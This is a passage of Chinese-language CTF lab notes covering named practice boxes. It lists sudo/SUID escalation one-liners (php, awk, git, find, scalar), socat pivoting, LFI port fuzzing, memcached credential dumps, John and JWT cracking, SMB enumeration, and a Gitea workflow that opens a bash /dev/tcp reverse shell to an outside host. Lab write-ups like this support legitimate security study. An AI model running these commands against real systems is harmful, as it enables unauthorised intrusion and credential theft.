system(&#039;$CMD&#039;);&quot;<\/code><\/pre>\n<p>\u5728\u6b64\u9898\u4e2d\uff0c\u4f7f\u7528\u547d\u4ee4\uff1a<\/p>\n<pre><code class=\"language-bash\">php8.1 -r &quot;posix_setuid(0); system(&#039;\/bin\/bash&#039;);&quot;<\/code><\/pre>\n<p>\u6210\u529f\u63d0\u6743\u3002<\/p>\n<h2>awk\u63d0\u6743<\/h2>\n<p>\u5728<code>nebula<\/code>\u4e2d\u8fdb\u884c\u4e86<code>awk<\/code>\u63d0\u6743\uff1a<a href=\"https:\/\/gtfobins.github.io\/gtfobins\/awk\/\">https:\/\/gtfobins.github.io\/gtfobins\/awk\/<\/a><\/p>\n<pre><code class=\"language-bash\">sudo -u laboratoryadmin awk &#039;BEGIN {system(&quot;\/bin\/sh&quot;)}&#039;<\/code><\/pre>\n<ul>\n<li><code>awk<\/code> \u662f\u4e00\u4e2a\u5f3a\u5927\u7684\u6587\u672c\u5904\u7406\u5de5\u5177\uff0c\u5e38\u7528\u4e8e\u6a21\u5f0f\u626b\u63cf\u548c\u6587\u672c\/\u6570\u636e\u63d0\u53d6\u3002<\/li>\n<li><code>&#039;BEGIN {system(&quot;\/bin\/sh&quot;)}&#039;<\/code>: \u8fd9\u662f\u4f20\u9012\u7ed9 <code>awk<\/code> \u7684\u7a0b\u5e8f\u3002<code>BEGIN<\/code> \u662f\u4e00\u4e2a\u7279\u6b8a\u7684\u6a21\u5f0f\uff0c\u5b83\u5728\u5904\u7406\u4efb\u4f55\u8f93\u5165\u884c\u4e4b\u524d\u6267\u884c\u3002<code>{system(&quot;\/bin\/sh&quot;)}<\/code> \u662f\u4e00\u4e2a\u52a8\u4f5c\uff0c\u5b83\u544a\u8bc9 <code>awk<\/code> \u5728\u9047\u5230 <code>BEGIN<\/code> \u6a21\u5f0f\u65f6\u6267\u884c <code>system(&quot;\/bin\/sh&quot;)<\/code>\u3002<code>system<\/code> \u51fd\u6570\u5728 <code>awk<\/code> \u4e2d\u7528\u4e8e\u6267\u884c\u5916\u90e8\u547d\u4ee4\uff0c\u6240\u4ee5\u8fd9\u91cc\u5b83\u5b9e\u9645\u4e0a\u662f\u5c1d\u8bd5\u542f\u52a8\u4e00\u4e2a <code>\/bin\/sh<\/code> shell\u3002<\/li>\n<\/ul>\n<h2>\u6dfb\u52a0\u73af\u5883\u53d8\u91cf<\/h2>\n<pre><code class=\"language-bash\">export PATH=&quot;$PWD:$PATH&quot;<\/code><\/pre>\n<h2>socat\u7aef\u53e3\u8f6c\u53d1<\/h2>\n<blockquote>\n<p>\u5f53\u4f7f\u7528<code>socat<\/code>\u8fdb\u884c\u7aef\u53e3\u8f6c\u53d1\u540e\uff0c\u4e4b\u524d\u770b\u4e0d\u5230\u7684\u4e1c\u897f\u73b0\u5728\u53d8\u5f97\u53ef\u89c1\uff0c\u8fd9\u901a\u5e38\u662f\u56e0\u4e3a\u7aef\u53e3\u8f6c\u53d1\u6539\u53d8\u4e86\u7f51\u7edc\u6d41\u91cf\u7684\u8def\u5f84\u548c\u65b9\u5411\uff0c\u4f7f\u5f97\u539f\u672c\u65e0\u6cd5\u76f4\u63a5\u8bbf\u95ee\u7684\u8d44\u6e90\u6216\u670d\u52a1\u73b0\u5728\u53d8\u5f97\u53ef\u8bbf\u95ee\u3002<\/p>\n<p>\u5177\u4f53\u6765\u8bf4\uff0c<code>socat<\/code>\u662f\u4e00\u4e2a\u591a\u529f\u80fd\u7684\u7f51\u7edc\u5de5\u5177\uff0c\u5b83\u53ef\u4ee5\u7528\u4e8e\u5728\u4e24\u4e2a\u6570\u636e\u6d41\u4e4b\u95f4\u5efa\u7acb\u8fde\u63a5\uff0c\u5b9e\u73b0\u6570\u636e\u7684\u4f20\u8f93\u548c\u8f6c\u53d1\u3002\u5f53\u4f60\u4f7f\u7528<code>socat<\/code>\u8fdb\u884c\u7aef\u53e3\u8f6c\u53d1\u65f6\uff0c\u5b83\u4f1a\u5728\u672c\u5730\u673a\u5668\u4e0a\u76d1\u542c\u4e00\u4e2a\u6307\u5b9a\u7684\u7aef\u53e3\uff0c\u5e76\u5c06\u6240\u6709\u5230\u8fbe\u8be5\u7aef\u53e3\u7684\u6570\u636e\u6d41\u8f6c\u53d1\u5230\u53e6\u4e00\u4e2a\u76ee\u6807\u5730\u5740\u548c\u7aef\u53e3\u3002\u8fd9\u6837\uff0c\u539f\u672c\u53ea\u80fd\u8bbf\u95ee\u672c\u5730\u7aef\u53e3\u7684\u5ba2\u6237\u7aef\u73b0\u5728\u53ef\u4ee5\u901a\u8fc7\u8fd9\u4e2a\u8f6c\u53d1\u673a\u5236\u8bbf\u95ee\u5230\u76ee\u6807\u5730\u5740\u4e0a\u7684\u670d\u52a1\u6216\u8d44\u6e90\u3002<\/p>\n<p>\u7531\u4e8e\u7aef\u53e3\u8f6c\u53d1\u6539\u53d8\u4e86\u6570\u636e\u7684\u6d41\u5411\uff0c\u4e00\u4e9b\u4e4b\u524d\u56e0\u4e3a\u7f51\u7edc\u9694\u79bb\u3001\u8bbf\u95ee\u63a7\u5236\u6216\u914d\u7f6e\u9650\u5236\u800c\u65e0\u6cd5\u76f4\u63a5\u8bbf\u95ee\u7684\u5185\u5bb9\u73b0\u5728\u53d8\u5f97\u53ef\u8bbf\u95ee\u3002\u4f8b\u5982\uff0c\u4f60\u53ef\u80fd\u4e4b\u524d\u65e0\u6cd5\u76f4\u63a5\u8bbf\u95ee\u5185\u7f51\u4e2d\u7684\u67d0\u4e2a\u670d\u52a1\u5668\u6216\u670d\u52a1\uff0c\u4f46\u662f\u901a\u8fc7<code>socat<\/code>\u7684\u7aef\u53e3\u8f6c\u53d1\uff0c\u4f60\u53ef\u4ee5\u5c06\u5916\u7f51\u7684\u8bf7\u6c42\u8f6c\u53d1\u5230\u5185\u7f51\u670d\u52a1\u5668\u4e0a\uff0c\u4ece\u800c\u5b9e\u73b0\u5bf9\u5185\u7f51\u8d44\u6e90\u7684\u8bbf\u95ee\u3002<\/p>\n<p>\u6b64\u5916\uff0c<code>socat<\/code>\u8fd8\u63d0\u4f9b\u4e86\u4e30\u5bcc\u7684\u9009\u9879\u548c\u529f\u80fd\uff0c\u53ef\u4ee5\u5bf9\u8f6c\u53d1\u7684\u6570\u636e\u8fdb\u884c\u8fc7\u6ee4\u3001\u4fee\u6539\u6216\u5904\u7406\u3002\u8fd9\u610f\u5473\u7740\u4f60\u53ef\u4ee5\u6839\u636e\u9700\u8981\u5bf9\u8f6c\u53d1\u8fc7\u7a0b\u8fdb\u884c\u5b9a\u5236\u548c\u63a7\u5236\uff0c\u4ece\u800c\u5b9e\u73b0\u66f4\u590d\u6742\u7684\u7f51\u7edc\u64cd\u4f5c\u548c\u4efb\u52a1\u3002<\/p>\n<\/blockquote>\n<p>\u5728<code>universe<\/code>\u4e2d\uff0c\u7fa4\u4e3b\u4f7f\u7528\u7aef\u53e3\u8f6c\u53d1\u53d1\u73b0\u4e86\u4e00\u4e2aLFI\u6f0f\u6d1e<\/p>\n<pre><code class=\"language-bash\">cd \/tmp\nwget http:\/\/10.161.61.130:8888\/socat\nchmod +x socat\n.\/socat TCP-LISTEN:8000,fork TCP4:127.0.0.1:8080 &amp;<\/code><\/pre>\n<h2>git\u63d0\u6743<\/h2>\n<p>\u5728<code>Vivifyech<\/code>\u4e2d\u51fa\u73b0\u4e86\u8fd9\u79cd\u63d0\u6743\u65b9\u6cd5\uff1a<\/p>\n<pre><code class=\"language-bash\">sudo git help config\n!\/bin\/bash<\/code><\/pre>\n<p>\u4e5f\u53ef\u4ee5\u76f4\u63a5\u8bfb\u53d6flag\uff1a<\/p>\n<pre><code class=\"language-bash\">git diff \/dev\/null \/root\/root.txt<\/code><\/pre>\n<h2>mail\u4fe1\u4ef6\u67e5\u770b<\/h2>\n<p>\u5728<code>savsanta<\/code>\u4e2d\u6709\u4e2a\u4fe1\u4ef6\u4f7f\u7528<code>mail<\/code>\u8fdb\u884c\u67e5\u770b<\/p>\n<h2>wine<\/h2>\n<blockquote>\n<p><strong>\/usr\/bin\/wine\u662fWine\u8f6f\u4ef6\u5728Linux\u7cfb\u7edf\u4e2d\u7684\u4e00\u4e2a\u53ef\u6267\u884c\u6587\u4ef6\u8def\u5f84<\/strong>\u3002Wine\uff08Wine Is Not an Emulator\uff09\u662f\u4e00\u4e2a\u80fd\u591f\u5728Unix-like\u64cd\u4f5c\u7cfb\u7edf\uff08\u5982Linux\uff09\u4e0a\u8fd0\u884cWindows\u5e94\u7528\u7a0b\u5e8f\u7684\u517c\u5bb9\u5c42\u3002\u901a\u8fc7\u5728Linux\u7ec8\u7aef\u6267\u884c<code>\/usr\/bin\/wine<\/code>\u547d\u4ee4\uff0c\u7528\u6237\u53ef\u4ee5\u8fd0\u884c\u6307\u5b9a\u7684Windows\u5e94\u7528\u7a0b\u5e8f\u3002<\/p>\n<p>\u4f7f\u7528Wine\u8f6f\u4ef6\uff0c\u7528\u6237\u53ef\u4ee5\u5728Linux\u7cfb\u7edf\u4e0a\u5b89\u88c5\u548c\u8fd0\u884cWindows\u5e94\u7528\u7a0b\u5e8f\u548c\u6e38\u620f\u3002\u8fd9\u901a\u5e38\u6d89\u53ca\u5728Wine\u7684\u914d\u7f6e\u9762\u677f\u4e2d\u8bbe\u7f6e\u5e94\u7528\u7a0b\u5e8f\u7684\u5b89\u88c5\u8def\u5f84\u548c\u53ef\u6267\u884c\u6587\u4ef6\u8def\u5f84\uff0c\u7136\u540e\u901a\u8fc7\u5728\u7ec8\u7aef\u8f93\u5165<code>wine + \u53ef\u6267\u884c\u6587\u4ef6\u7684\u8def\u5f84<\/code>\u6765\u8fd0\u884c\u8fd9\u4e9b\u5e94\u7528\u7a0b\u5e8f\u3002<\/p>\n<\/blockquote>\n<p>\u540c\u6837\u662f\u5728<code>savesanta<\/code>\u4e2d\uff0c\u5b58\u5728\u8fd9\u4e2a\u547d\u4ee4\uff0c\u4e14\u662f\u65e0\u9700\u5bc6\u7801\u5c31\u53ef\u4ee5sudo\u6267\u884c\u7684\uff0c\u5229\u7528\u4ee5\u4e0b\u547d\u4ee4\u8fdb\u884c\u4f7f\u7528\u4ece\u800c\u83b7\u53d6flag<\/p>\n<pre><code class=\"language-bash\">sudo \/usr\/bin\/wine cmd\n# \u6a21\u62dfcmd\u547d\u4ee4\uff0c\u4f7f\u7528cd,dir,type\u7b49\u547d\u4ee4\u83b7\u53d6flag<\/code><\/pre>\n<h2>\u4e0a\u4f20\u6587\u4ef6\u540e\u7f00\u540d\u8fc7\u6ee4<\/h2>\n<p>\u5728<code>Liceo<\/code>\u4e2d\u5bf9\u4e0a\u4f20php\u540e\u7f00\u540d\u8fdb\u884c\u4e86\u8fc7\u6ee4\uff0c<code>phptml<\/code>\u548c<code>inc<\/code>\u4f3c\u4e4e\u8fd8\u662f\u53ef\u4ee5\u7684<\/p>\n<h2>php7.0<\/h2>\n<p>\u5728<code>quick<\/code>\u9776\u573a\u4e2d\uff0c\u5b58\u5728<code>php7.0<\/code>\u7684suid\u6f0f\u6d1e<\/p>\n<pre><code class=\"language-bash\">\/usr\/bin\/php7.0 -r &quot;pcntl_exec(&#039;\/bin\/sh&#039;, [&#039;-p&#039;]);&quot;<\/code><\/pre>\n<ol>\n<li><code>\/usr\/bin\/php7.0<\/code>\n<ul>\n<li>\u8fd9\u662fPHP 7.0\u7684\u53ef\u6267\u884c\u6587\u4ef6\u7684\u8def\u5f84\u3002<code>\/usr\/bin\/<\/code> \u662fLinux\u7cfb\u7edf\u4e2d\u5b58\u653e\u5927\u591a\u6570\u7528\u6237\u53ef\u6267\u884c\u6587\u4ef6\u7684\u76ee\u5f55\u3002\u901a\u8fc7\u8fd9\u4e2a\u8def\u5f84\uff0c\u4f60\u53ef\u4ee5\u8fd0\u884cPHP 7.0\u7248\u672c\u3002<\/li>\n<\/ul>\n<\/li>\n<li><code>-r<\/code>\n<ul>\n<li>\u8fd9\u662f\u4e00\u4e2a\u547d\u4ee4\u884c\u9009\u9879\uff0c\u5b83\u544a\u8bc9PHP\u89e3\u91ca\u5668\u76f4\u63a5\u8fd0\u884c\u540e\u9762\u7684\u4ee3\u7801\u5b57\u7b26\u4e32\uff0c\u800c\u4e0d\u662f\u4ece\u6587\u4ef6\u4e2d\u8bfb\u53d6\u4ee3\u7801\u3002\u8fd9\u5141\u8bb8\u7528\u6237\u5728\u4e0d\u521b\u5efaPHP\u811a\u672c\u6587\u4ef6\u7684\u60c5\u51b5\u4e0b\u76f4\u63a5\u6267\u884cPHP\u4ee3\u7801\u3002<\/li>\n<\/ul>\n<\/li>\n<li><code>pcntl_exec(&#039;\/bin\/sh&#039;, [&#039;-p&#039;]);<\/code>\n<ul>\n<li><code>pcntl_exec<\/code> \u662fPHP\u7684\u8fdb\u7a0b\u63a7\u5236\u51fd\u6570\u4e4b\u4e00\uff0c\u7528\u4e8e\u5728\u5f53\u524d\u8fdb\u7a0b\u7684\u7a7a\u95f4\u4e2d\u6267\u884c\u53e6\u4e00\u4e2a\u7a0b\u5e8f\u3002\u6362\u53e5\u8bdd\u8bf4\uff0c\u5b83\u4f1a\u66ff\u6362\u5f53\u524dPHP\u8fdb\u7a0b\u4e3a\u53e6\u4e00\u4e2a\u7a0b\u5e8f\uff08\u8fd9\u91cc\u662f <code>\/bin\/sh<\/code>\uff09\u3002<\/li>\n<li><code>&#039;\/bin\/sh&#039;<\/code> \u662f\u8981\u6267\u884c\u7684\u7a0b\u5e8f\u7684\u8def\u5f84\uff0c\u5b83\u901a\u5e38\u662fBourne shell\u6216\u4e0e\u4e4b\u517c\u5bb9\u7684shell\u7684\u8def\u5f84\u3002<\/li>\n<li><code>[&#039;-p&#039;]<\/code> \u662f\u4e00\u4e2a\u4f20\u9012\u7ed9 <code>\/bin\/sh<\/code> \u7684\u53c2\u6570\u6570\u7ec4\u3002\u5728\u8fd9\u91cc\uff0c<code>-p<\/code> \u662f\u4e00\u4e2a\u7279\u5b9a\u7684shell\u9009\u9879\uff0c\u5b83\u7528\u6765\u5728\u8c03\u7528shell\u65f6\u542f\u7528\u201cprivileged\u201d\u6a21\u5f0f\u3002\u8fd9\u4e2a\u9009\u9879\u4e0d\u662f\u6240\u6709shell\u90fd\u652f\u6301\u7684\uff0c\u4f46\u5728\u4e00\u4e9bshell\u4e2d\uff0c\u5b83\u53ef\u4ee5\u7528\u6765\u4fdd\u7559\u73af\u5883\u53d8\u91cf\u6216\u5f53\u524d\u7684\u5de5\u4f5c\u76ee\u5f55\u3002\u4e0d\u8fc7\uff0c<code>-p<\/code> \u5e76\u4e0d\u662f\u4e00\u4e2a\u6807\u51c6\u7684POSIX shell\u9009\u9879\uff0c\u56e0\u6b64\u5176\u884c\u4e3a\u53ef\u80fd\u4f1a\u6839\u636e\u5177\u4f53\u7684shell\u5b9e\u73b0\u800c\u6709\u6240\u4e0d\u540c\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n<h2>\u6587\u4ef6\u5305\u542b+\u672c\u5730\u7aef\u53e3<\/h2>\n<p>\u5728<code>casino<\/code>\u9776\u573a\u4e2d\uff0c\u5b58\u5728\u6f0f\u6d1e\uff0c\u53ef\u4ee5\u5305\u542b\u672c\u5730\u7684\u7aef\u53e3\uff0c\u5c1d\u8bd5\u8fdb\u884c\u5305\u542b\uff0c\u627e\u51fa\u5185\u7f51\u5f00\u653e\u7684\u7aef\u53e3<\/p>\n<pre><code class=\"language-bash\">seq 0 65535 &gt; 65535.txt\ngobuster fuzz -u &quot;http:\/\/10.160.52.102\/casino\/explainmepls.php?learnabout=127.0.0.1:FUZZ&quot; -w 65535.txt -c &quot;PHPSESSID=olis0nc010av7pg4shf5rutt0i&quot; -a &quot;Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101 Firefox\/115.0&quot; --exclude-length &quot;1130&quot;<\/code><\/pre>\n<h2>\u91cd\u5b9a\u5411\u5230\u4f2a\u7ec8\u7aef<\/h2>\n<p>\u540c\u6837\u662f<code>casino<\/code>\u9776\u573a\u4e0a\uff0c\u5b83\u5c06\u8f93\u51fa\u91cd\u5b9a\u5411\u5230\u4f2a\u7ec8\u7aef\u4e86\uff0c\u8fd9\u4e00\u70b9\u5f88\u96be\u60f3\u8c61\u5230\uff0c\u7fa4\u4e3b\u63d0\u51fa\u4e86\u4e00\u79cd\u65b9\u6848\uff1a<\/p>\n<pre><code class=\"language-bash\">lsof \/opt\/root.pass<\/code><\/pre>\n<p>\u67e5\u770b\u662f\u54ea\u4e2a\u8fdb\u7a0b\u6253\u5f00\u4e86\u8fd9\u4e2a\u6587\u4ef6\u3002<\/p>\n<p>\u7136\u540e\u518d\u53bb\u7ba1\u9053\u67e5\u8be2\u8fd9\u4e2a\u6587\u4ef6\uff0c\u8bb0\u4e0b\u8fd9\u4e2a\u547d\u4ee4\u4e86\uff01<\/p>\n<blockquote>\n<p><strong>lsof\u547d\u4ee4\u662f\u4e00\u4e2a\u5217\u51fa\u5f53\u524d\u7cfb\u7edf\u6253\u5f00\u6587\u4ef6\u7684\u5de5\u5177<\/strong>\u3002\u5728Linux\u73af\u5883\u4e0b\uff0c\u4efb\u4f55\u4e8b\u7269\u90fd\u4ee5\u6587\u4ef6\u7684\u5f62\u5f0f\u5b58\u5728\uff0c\u901a\u8fc7\u6587\u4ef6\u4e0d\u4ec5\u4ec5\u53ef\u4ee5\u8bbf\u95ee\u5e38\u89c4\u6570\u636e\uff0c\u8fd8\u53ef\u4ee5\u8bbf\u95ee\u7f51\u7edc\u8fde\u63a5\u548c\u786c\u4ef6\u3002\u56e0\u6b64\uff0clsof\u547d\u4ee4\u53ef\u4ee5\u67e5\u770b\u8fdb\u7a0b\u6253\u5f00\u7684\u6587\u4ef6\u3001\u76ee\u5f55\uff0c\u8fd8\u53ef\u4ee5\u67e5\u770b\u8fdb\u7a0b\u76d1\u542c\u7684\u7aef\u53e3\u7b49socket\u76f8\u5173\u7684\u4fe1\u606f\u3002\u8fd9\u5bf9\u4e8e\u7cfb\u7edf\u76d1\u6d4b\u4ee5\u53ca\u6392\u9519\u5c06\u662f\u975e\u5e38\u6709\u5e2e\u52a9\u7684\u3002<\/p>\n<p>lsof\u547d\u4ee4\u7684\u5177\u4f53\u4f7f\u7528\u65b9\u6cd5\u5982\u4e0b\uff1a<\/p>\n<ul>\n<li>\u5217\u51fa\u67d0\u4e2a\u8fdb\u7a0b\u6253\u5f00\u7684\u6587\u4ef6\uff1a<code>lsof -p &lt;PID&gt;<\/code>\uff0c\u5176\u4e2d<code>&lt;PID&gt;<\/code>\u4e3a\u76ee\u6807\u8fdb\u7a0b\u7684\u8fdb\u7a0bID\u3002<\/li>\n<li>\u5217\u51fa\u67d0\u4e2a\u7528\u6237\u6253\u5f00\u7684\u6587\u4ef6\uff1a<code>lsof -u &lt;username&gt;<\/code>\uff0c\u5176\u4e2d<code>&lt;username&gt;<\/code>\u4e3a\u76ee\u6807\u7528\u6237\u7684\u7528\u6237\u540d\u3002<\/li>\n<li>\u5217\u51fa\u67d0\u4e2a\u7a0b\u5e8f\u540d\u76f8\u5173\u7684\u6587\u4ef6\uff1a<code>lsof -c &lt;process_name&gt;<\/code>\uff0c\u5176\u4e2d<code>&lt;process_name&gt;<\/code>\u4e3a\u76ee\u6807\u7a0b\u5e8f\u7684\u540d\u79f0\u3002<\/li>\n<li>\u5217\u51fa\u67d0\u4e2a\u76ee\u5f55\u4e0b\u88ab\u6253\u5f00\u7684\u6587\u4ef6\uff1a<code>lsof +D \/path\/to\/directory<\/code>\uff0c\u5176\u4e2d<code>\/path\/to\/directory<\/code>\u4e3a\u76ee\u6807\u76ee\u5f55\u7684\u8def\u5f84\u3002<\/li>\n<li>\u5217\u51fa\u67d0\u4e2a\u6587\u4ef6\u88ab\u54ea\u4e2a\u8fdb\u7a0b\u6253\u5f00\uff1a<code>lsof \/path\/to\/file<\/code>\uff0c\u5176\u4e2d<code>\/path\/to\/file<\/code>\u4e3a\u76ee\u6807\u6587\u4ef6\u7684\u8def\u5f84\u3002<\/li>\n<\/ul>\n<\/blockquote>\n<h2>\u4f7f\u7528knock\u6572\u7aef\u53e3<\/h2>\n<pre><code class=\"language-bash\">knock 10.160.78.89 1100 800 666 -v<\/code><\/pre>\n<h2>7z\u89e3\u538b<\/h2>\n<p>\u5728<code>aqua<\/code>\u4e2d\u9047\u5230\u4e86\u4e00\u4e2a\u538b\u7f29\u5305\uff0c\u4f7f\u7528<code>unzip<\/code>\u65e0\u6cd5\u8fdb\u884c\u89e3\u538b\uff0c\u4f7f\u7528<code>7z<\/code>\u5b8c\u6210\u4e86\u89e3\u538b\uff1a<\/p>\n<pre><code class=\"language-bash\">sudo apt-get install p7zip-full\n7z -x &lt;zip&gt;<\/code><\/pre>\n<h2>memcached<\/h2>\n<p>\u5728<code>aqua<\/code>\u9776\u673a\u4e2d\u9047\u5230\u4e86<code>memcached<\/code>\u7684\u670d\u52a1\uff0c\u4f46\u662f\u4e0d\u4f1a\u547d\u4ee4\uff0c\u67e5\u4e86\u4e00\u4e0b\u5e38\u7528\u547d\u4ee4\uff1a<\/p>\n<pre><code class=\"language-bash\">stats                   # \u8f93\u51fa Memcached \u670d\u52a1\u4fe1\u606f\n# STAT curr_items 5   Memcached \u5f53\u524d\u5b58\u50a8\u7684\u5185\u5bb9\u6570\u91cf \nstats items             # \u5404\u4e2a slab \u4e2d item \u7684\u6570\u76ee\u548c\u5b58\u50a8\u65f6\u957f\nstats cachedump 1 5\n# cachedump\u547d\u4ee4\u7528\u4e8e\u8f6c\u50a8\u7f13\u5b58\u4e2d\u7684\u6570\u636e\uff0c\u5176\u4e2d1\u8868\u793aslab class\u7684ID\uff0c5\u8868\u793a\u8981\u8f6c\u50a8\u7684\u6761\u76ee\u6570\u91cf\u3002\nget username\nget password<\/code><\/pre>\n<h2>find \u63d0\u6743 + sudo<\/h2>\n<p><a href=\"https:\/\/gtfobins.github.io\/gtfobins\/find\/\">https:\/\/gtfobins.github.io\/gtfobins\/find\/<\/a><\/p>\n<pre><code class=\"language-bash\">sudo find . -exec \/bin\/sh \\; -quit<\/code><\/pre>\n<h2>John\u7206\u7834GPG\u5bc6\u7801<\/h2>\n<p>\u540c\u6837\u662f<code>aqua<\/code>\u9776\u573a\uff0c\u6700\u540e\u5f97\u5230\u7684flag\u88ab\u52a0\u5bc6\u8fc7\uff0c\u4f7f\u7528<code>John<\/code>\u8fdb\u884c\u67e5\u8be2\uff1a<\/p>\n<pre><code>gpg2john root.txt.gpg &gt; flag_hash\njohn flag_hash -w=\/usr\/share\/wordlists\/rockyou.txt<\/code><\/pre>\n<h2>SMB\u670d\u52a1\u67e5\u8be2<\/h2>\n<pre><code class=\"language-bash\">enum4linux 10.160.104.239\nsmbmap 10.160.104.239<\/code><\/pre>\n<p>\u4e00\u6837\u7684\uff01<\/p>\n<pre><code class=\"language-bash\">smbclient \/\/10.160.104.239\/DebianShare -N\nsmbclient -N \/\/\/\/10.160.104.239\/\/DebianShare<\/code><\/pre>\n<h2>scalar\u63d0\u6743+sudo<\/h2>\n<p>\u662f\u9776\u573a<code>adria<\/code>\u53d1\u73b0\u7684\uff0c\u6ca1\u6709\u627e\u5230\u51c6\u786e\u7684payload\uff0c\u4f46\u662f\u5176\u662f\u57fa\u4e8egit\u7684\u6269\u5c55\uff0c\u5c1d\u8bd5\u4f7f\u7528\u4e00\u6837\u7684payload\u8fdb\u884c\u63d0\u6743\uff0c\u53d1\u73b0\u6210\u529f\u4e86<\/p>\n<pre><code class=\"language-bash\">sudo git -p help config\n!\/bin\/sh<\/code><\/pre>\n<pre><code class=\"language-bash\">sudo -u adriana \/usr\/bin\/scalar help \n!\/bin\/sh<\/code><\/pre>\n<h2>bash\u811a\u672c\u4e0d\u6807\u51c6\u7684\u6bd4\u8f83<\/h2>\n<p>\u540c\u6837\u5728<code>adria<\/code>\u4e2d\uff0c\u53d1\u751f\u4e86\u4e0d\u6807\u51c6\u7684\u6bd4\u8f83\uff1a<\/p>\n<pre><code class=\"language-bash\">if [[ $PASSWORD == $USER_PASS ]]<\/code><\/pre>\n<p>\u6ca1\u6709\u52a0\u53cc\u5f15\u53f7\uff0c\u6240\u4ee5\u53ef\u80fd\u4f1a\u53d1\u751f\u5339\u914d\u9519\u8bef\uff0c\u8fd9\u91cc\u4f7f\u7528\u901a\u914d\u7b26<code>*<\/code>\u5de7\u5999\u8d8a\u8fc7\u4e86\u8fd9\u4e00\u6bd4\u8f83\uff1a<\/p>\n<blockquote>\n<p>\u53cc\u5f15\u53f7\u7684\u4f5c\u7528\uff1a<\/p>\n<p><strong>\u9632\u6b62\u8bcd\u6cd5\u62c6\u5206\uff08Word Splitting\uff09<\/strong>\uff1a\u5982\u679c\u4e0d\u4f7f\u7528\u53cc\u5f15\u53f7\uff0cBash \u4f1a\u5c06\u53d8\u91cf\u6269\u5c55\u540e\u7684\u5185\u5bb9\u89c6\u4e3a\u591a\u4e2a\u72ec\u7acb\u7684\u5355\u8bcd\uff08\u7531\u7a7a\u767d\u5b57\u7b26\u5982\u7a7a\u683c\u3001\u5236\u8868\u7b26\u6216\u6362\u884c\u7b26\u5206\u9694\uff09\u3002\u8fd9\u53ef\u80fd\u5bfc\u81f4\u610f\u5916\u7684\u884c\u4e3a\uff0c\u7279\u522b\u662f\u5f53\u53d8\u91cf\u503c\u5305\u542b\u7a7a\u683c\u6216\u7279\u6b8a\u5b57\u7b26\u65f6\u3002\u4f7f\u7528\u53cc\u5f15\u53f7\u53ef\u4ee5\u786e\u4fdd\u53d8\u91cf\u503c\u88ab\u5f53\u4f5c\u4e00\u4e2a\u6574\u4f53\u5b57\u7b26\u4e32\u6765\u5904\u7406\u3002<\/p>\n<p><strong>\u9632\u6b62\u6587\u4ef6\u540d\u6269\u5c55\uff08Globbing\uff09<\/strong>\uff1a\u5982\u679c\u53d8\u91cf\u4e2d\u5305\u542b\u901a\u914d\u7b26\uff08\u5982 <code>*<\/code> \u6216 <code>?<\/code>\uff09\uff0cBash \u4f1a\u5c1d\u8bd5\u5bf9\u5b83\u4eec\u8fdb\u884c\u6587\u4ef6\u540d\u6269\u5c55\u3002\u8fd9\u53ef\u80fd\u5bfc\u81f4\u811a\u672c\u610f\u5916\u5730\u5339\u914d\u5e76\u5904\u7406\u76ee\u5f55\u4e2d\u7684\u6587\u4ef6\u3002\u4f7f\u7528\u53cc\u5f15\u53f7\u53ef\u4ee5\u9632\u6b62\u8fd9\u79cd\u60c5\u51b5\u3002<\/p>\n<p><strong>\u4fdd\u7559\u53d8\u91cf\u503c\u4e2d\u7684\u7279\u6b8a\u5b57\u7b26<\/strong>\uff1a\u67d0\u4e9b\u5b57\u7b26\u5728 Bash \u4e2d\u5177\u6709\u7279\u6b8a\u542b\u4e49\uff0c\u5982 <code>$<\/code>, <code>`<code>, <\/code>\\<\/code> \u7b49\u3002\u5982\u679c\u53d8\u91cf\u503c\u4e2d\u5305\u542b\u8fd9\u4e9b\u5b57\u7b26\uff0c\u5e76\u4e14\u4e0d\u4f7f\u7528\u53cc\u5f15\u53f7\uff0c\u90a3\u4e48\u8fd9\u4e9b\u5b57\u7b26\u53ef\u80fd\u4f1a\u88ab\u9519\u8bef\u5730\u89e3\u91ca\u6216\u6269\u5c55\u3002\u53cc\u5f15\u53f7\u53ef\u4ee5\u786e\u4fdd\u8fd9\u4e9b\u5b57\u7b26\u88ab\u5f53\u4f5c\u666e\u901a\u5b57\u7b26\u5904\u7406\u3002<\/p>\n<p><strong>\u53ef\u8bfb\u6027<\/strong>\uff1a\u4f7f\u7528\u53cc\u5f15\u53f7\u4e5f\u4f7f\u5f97\u811a\u672c\u66f4\u5bb9\u6613\u9605\u8bfb\u548c\u7406\u89e3\uff0c\u56e0\u4e3a\u5b83\u4eec\u6e05\u6670\u5730\u754c\u5b9a\u4e86\u53d8\u91cf\u7684\u8fb9\u754c\u3002<\/p>\n<\/blockquote>\n<h2>jwt\u7206\u7834<\/h2>\n<p>\u5728<code>run<\/code>\u9776\u573a\u4e2d\uff1a<\/p>\n<pre><code class=\"language-bash\">python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwNzE0ODY1OCwianRpIjoiNjAwMWI5N2YtZjllOC00YTIxLThlYWMtYmE5NWEwY2Y4MDQ4IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldiIsIm5iZiI6MTcwNzE0ODY1OCwiY3NyZiI6ImFkZjdmOTBiLWQ2NDctNDljZS1hNGRhLTQ3NDI1OWZkYzcyYyIsImV4cCI6MTcwNzE0OTI1OCwidXNlcm5hbWUiOiJkZXYifQ.tRZPFKRfJV7T-EHyQiBFqDEE1hl83MyCGtaBpSMwU_o -C -d \/usr\/share\/wordlists\/rockyou.txt<\/code><\/pre>\n<h2>\u79c1\u6709\u5316gitea\u53cd\u5f39shell<\/h2>\n<p>\u5728<code>run<\/code>\u9776\u573a\u4e2d\uff0c\u5bf9\u79c1\u6709\u5316\u90e8\u7f72\u7684<code>gitea<\/code>\u5c1d\u8bd5\u8fdb\u884c\u4e86\u53cd\u5f39\uff0c\u5229\u7528action\u52a0\u8f7d\u4e86shell\uff1a<\/p>\n<pre><code class=\"language-bash\">git clone http:\/\/10.0.2.10:3000\/dev\/revershell.git\ncd revershell\nmkdir .gitea\ncd .gitea\nmkdir workflows\ncd workflows\nvim revershell.yaml<\/code><\/pre>\n<pre><code class=\"language-bash\">on: [push]\njobs:\n  revershell:\n    runs-on: run\n    steps:\n      - run: \/bin\/bash -i &gt;&amp; \/dev\/tcp\/10.0.2.4\/1234 0&gt;&amp;1<\/code><\/pre>\n<pre><code class=\"language-bash\">git config user.email 